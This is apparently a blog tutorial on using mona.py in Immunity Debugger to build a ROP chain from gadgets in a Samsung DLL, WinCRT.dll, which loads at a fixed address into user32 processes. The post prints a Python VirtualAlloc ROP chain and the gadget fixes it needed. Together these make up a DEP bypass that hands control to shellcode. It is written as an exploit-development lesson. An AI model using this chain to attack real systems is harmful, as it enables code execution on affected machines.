Mona 101: a Global Samsung DLL

Mona 101: a Global Samsung DLL

This blogpost will be just another 101 for mona.py. There’s already a
good introduction to / full documentation of mona here, including
setting it up and running it for the first time. (Which is surprisingly easy,
at least with Immunity Debugger – I haven’t tested mona with WinDBG.)

Our target

Well, it turns out that a dll called WinCRT.dll, developed by Samsung and
distributed by default on at least a set of Samsung laptops, is
being loaded in every process that imports user32.dll on my system.. Yay!
Needless to say it doesn’t have ASLR enabled, nor does it rebase by default.
If you haven’t guessed its base address by now, then I’ll give you a hint;
0×10000000. A copy of the DLL can be found here – naturally I’m not
responsible for whatever you do with it :p

Btw, the path of this Samsung DLL is:
C:\Program Files (x86)\Samsung\Movie Color Enhancer\WinCRT.dll

Generate some ROP

After running any program which imports user32, such as the following
MessageBox() program, we attach Immunity Debugger to it.

#include <windows.h>

int main()
{
    MessageBoxA(NULL, "Hello Samsung!", ":-)", 0);
}

We run the following command and get our ROP chain after roughly 10 seconds:

!mona rop -m wincrt -rva

As documented in the tutorials that were linked earlier in this blogpost, the
-m switch specifies the module to search, and -rva gives a dump with
relative addresses to the base address. (In case you need an infoleak to
obtain the base address of your target module, rather than having a DLL that’s
being loaded on a static address.)

The ROP chain returned may look like the following, including some comments
about what the registers should look like at the point that VirtualAlloc is
invoked.


"""
Register setup for VirtualAlloc() :
 EAX = NOP (0x90909090)
 ECX = flProtect (0x40)
 EDX = flAllocationType (0x1000)
 EBX = dwSize
 ESP = lpAddress (automatic)
 EBP = ReturnTo (ptr to jmp esp)
 ESI = ptr to VirtualAlloc()
 EDI = ROP NOP (RETN)
"""

def create_rop_chain(base_wincrt):
    # rop chain generated with mona.py
    rop_gadgets = [
        base_wincrt + 0x0000f128,  # POP EAX # POP EBP # RETN [WinCRT.dll]
        base_wincrt + 0x0001f0a8,  # ptr to &VirtualAlloc() [IAT WinCRT.dll]
        0x41414141,                # Filler (compensate)
        base_wincrt + 0x00005bff,  # MOV EAX,DWORD PTR DS:[EAX] # ADD CL,CL # RETN 0x08 [WinCRT.dll]
        base_wincrt + 0x0000431d,  # PUSH EAX # ADD AL,5F # POP ESI # RETN [WinCRT.dll]
        0x41414141,                # Filler (RETN offset compensation)
        0x41414141,                # Filler (RETN offset compensation)
        base_wincrt + 0x0001a14e,  # POP EBP # RETN [WinCRT.dll]
        0x00000000,                # &  []
        base_wincrt + 0x0000bd5b,  # POP EBX # RETN [WinCRT.dll]
        0x00000001,                # 0x00000001-> ebx
        base_wincrt + 0x00005209,  # POP EBX # RETN [WinCRT.dll]
        0x00001000,                # 0x00001000-> edx
        base_wincrt + 0x0001183c,  # XOR EDX,EDX # RETN [WinCRT.dll]
        base_wincrt + 0x0001175e,  # ADD EDX,EBX # POP EBX # RETN 0x10 [WinCRT.dll]
        0x41414141,                # Filler (compensate)
        base_wincrt + 0x000191b8,  # POP ECX # RETN [WinCRT.dll]
        0x41414141,                # Filler (RETN offset compensation)
        0x41414141,                # Filler (RETN offset compensation)
        0x41414141,                # Filler (RETN offset compensation)
        0x41414141,                # Filler (RETN offset compensation)
        0x00000040,                # 0x00000040-> ecx
        base_wincrt + 0x0000f203,  # POP EDI # RETN [WinCRT.dll]
        base_wincrt + 0x0000f204,  # RETN (ROP NOP) [WinCRT.dll]
        base_wincrt + 0x0000f128,  # POP EAX # POP EBP # RETN [WinCRT.dll]
        0x90909090,                # nop
        0x41414141,                # Filler (compensate)
        base_wincrt + 0x0000c27e,  # PUSHAD # ADD AL,0 # RETN [WinCRT.dll]
    ]
    return ''.join(struct.pack('<I', _) for _ in rop_gadgets)

# [WinCRT.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: False, v0.0.0.1 (C:\Program Files (x86)\Samsung\Movie Color Enhancer\WinCRT.dll)
base_wincrt = 0x10000000
rop_chain = create_rop_chain(base_wincrt)

Fixing the ROP chain

Unfortunately mona makes some small mistakes, but that’s why it gives great
feedback in the form of rop.txt and rop_suggestions.txt.

Now if you look closely at the generated ROP chain, while comparing them to
the notes about the required states of the registers for VirtualAlloc, then
you’ll notice that some gadgets have to be shuffled around, and some are not
correct yet.

Let’s analyze each register top-to-bottom from the provided register list in
order to see if they’re all set correctly. First we start with eax.

Eax is set to 0×90909090 at the end. However, it also sets ebp to an invalid
value – register dependencies is something that mona doesn’t handle very
well yet, unfortunately. Anyway, it’s easier to replace this gadget than to
shuffle it around. I ended up replacing it by a “pop ecx ; retn” and
“mov eax, ecx ; retn” gadget, and moving it to an earlier place in the ROP
chain where ecx has
not yet been assigned its final value. Ecx itself is already correct, it’ll be
set to 0×40 using the ‘original’ “pop ecx ; retn” gadget.

Edx has to become 0×1000, for which mona has decided to use ebx as
intermediate register. We can remove the first gadget that sets ebx, as its
value is overwritten right away when executing the next gadget. (Which sets
ebx as well.)

Now mona handles esp for us, so we don’t have to do anything there. The next
register, ebp, however, does need some extra work. The description tells us
it needs to point to a “jmp esp” gadget, but because there’s no such gadget in
our DLL mona sort of failed silently. (The comment doesn’t show an error
message, but instead shows something that doesn’t make much sense.)

Given there’s no “jmp esp” in our code, nor a direct “push esp ; retn” gadget,
we have to play around with mona some more.. We run the following command
which is, again, documented here, and find the following gadget.

!mona findwild -s "push esp#*#retn" -m wincrt

0x10009558: push esp # add al,2 # adc bl,al # xor eax,eax # retn [WinCRT.dll]

Finishing up

So yeah, that’ll do for us :) Patch the 0×00000000 value with
“base_wincrt + 0×00009558″ and ebp is good to go. Finally, esi and edi
have been handled correctly by mona. (Note that we don’t have to worry about
the value of eax in our custom “jmp esp” gadget, as this is executed right
after the call to VirtualAlloc, and literally jumps to our shellcode.)

Having fixed the ROP chain, our final ROP chain including some MessageBox()
shellcode, wrapped into a C file looks like the following. (Woah,
somebody added C dumping support to mona yesterday!) In case you’re interested
in the binary, to be ran when the DLL is loaded into memory, it can be found
here.

Conclusion

This was the first time I tried mona and I’m genuinely happy about it. Very
easy to use and it did the job for me :) Ah yeah, so anyone with this
particular Samsung software on his computer.. how do I even.. I guess it’s
just “another one of those”.

One thought on “Mona 101: a Global Samsung DLL

  1. Pingback: [link] Finding ROP chains with mona.py | Mick's Mix

Leave a Reply

Your email address will not be published. Required fields are marked *

*

You may use these HTML tags and attributes: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <strike> <strong>